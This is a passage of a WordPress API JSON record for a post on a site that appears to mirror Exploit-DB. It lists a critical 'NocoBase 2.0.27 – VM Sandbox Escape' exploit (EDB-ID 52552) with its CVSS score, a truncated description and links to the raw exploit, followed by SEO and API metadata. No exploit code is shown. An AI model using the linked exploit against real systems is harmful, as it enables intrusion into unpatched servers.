main()&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52552&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.9,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:C\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52552&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-07T15:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: NocoBase 2.0.27 &#8211; VM Sandbox Escape Date: 2026-03-26 Exploit Author: Onurcan Gen\u00e7 Vendor Homepage: https:\/\/www.nocobase.com\/ Software Link: https:\/\/github.com\/nocobase\/nocobase Version: = 2.0.27 \u2014 patched&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,45,12,40,13,7,11,5],"class_list":["post-52110","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-99","tag-exploit","tag-exploitdb","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>NocoBase 2.0.27 - VM Sandbox Escape_EDB-ID:52552 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=52110\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"NocoBase 2.0.27 - VM Sandbox Escape_EDB-ID:52552 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-07T15:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: NocoBase 2.0.27 &#8211; VM Sandbox Escape Date: 2026-03-26 Exploit Author: Onurcan Gen\u00e7 Vendor Homepage: https:\/\/www.nocobase.com\/ Software Link: https:\/\/github.com\/nocobase\/nocobase Version: = 2.0.27 \u2014 patched...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=52110\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-07T10:34:45+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"14 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52110#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52110\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"NocoBase 2.0.27 &#8211; VM Sandbox Escape_EDB-ID:52552\",\"datePublished\":\"2026-05-07T10:34:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52110\"},\"wordCount\":2776,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.9\",\"exploit\",\"exploitdb\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=52110#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52110\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52110\",\"name\":\"NocoBase 2.0.27 - VM Sandbox Escape_EDB-ID:52552 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-07T10:34:45+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52110#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=52110\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52110#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"NocoBase 2.0.27 &#8211; VM Sandbox Escape_EDB-ID:52552\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"NocoBase 2.0.27 - VM Sandbox Escape_EDB-ID:52552 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=52110","og_locale":"en_US","og_type":"article","og_title":"NocoBase 2.0.27 - VM Sandbox Escape_EDB-ID:52552 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-07T15:27:58&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: NocoBase 2.0.27 &#8211; VM Sandbox Escape Date: 2026-03-26 Exploit Author: Onurcan Gen\u00e7 Vendor Homepage: https:\/\/www.nocobase.com\/ Software Link: https:\/\/github.com\/nocobase\/nocobase Version: = 2.0.27 \u2014 patched...","og_url":"https:\/\/zero.redgem.net\/?p=52110","og_site_name":"zero redgem","article_published_time":"2026-05-07T10:34:45+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"14 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=52110#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=52110"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"NocoBase 2.0.27 &#8211; VM Sandbox Escape_EDB-ID:52552","datePublished":"2026-05-07T10:34:45+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=52110"},"wordCount":2776,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.9","exploit","exploitdb","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=52110#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=52110","url":"https:\/\/zero.redgem.net\/?p=52110","name":"NocoBase 2.0.27 - VM Sandbox Escape_EDB-ID:52552 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-07T10:34:45+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=52110#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=52110"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=52110#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"NocoBase 2.0.27 &#8211; VM Sandbox Escape_EDB-ID:52552"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/52110","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=52110"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/52110\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=52110"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=52110"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=52110"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}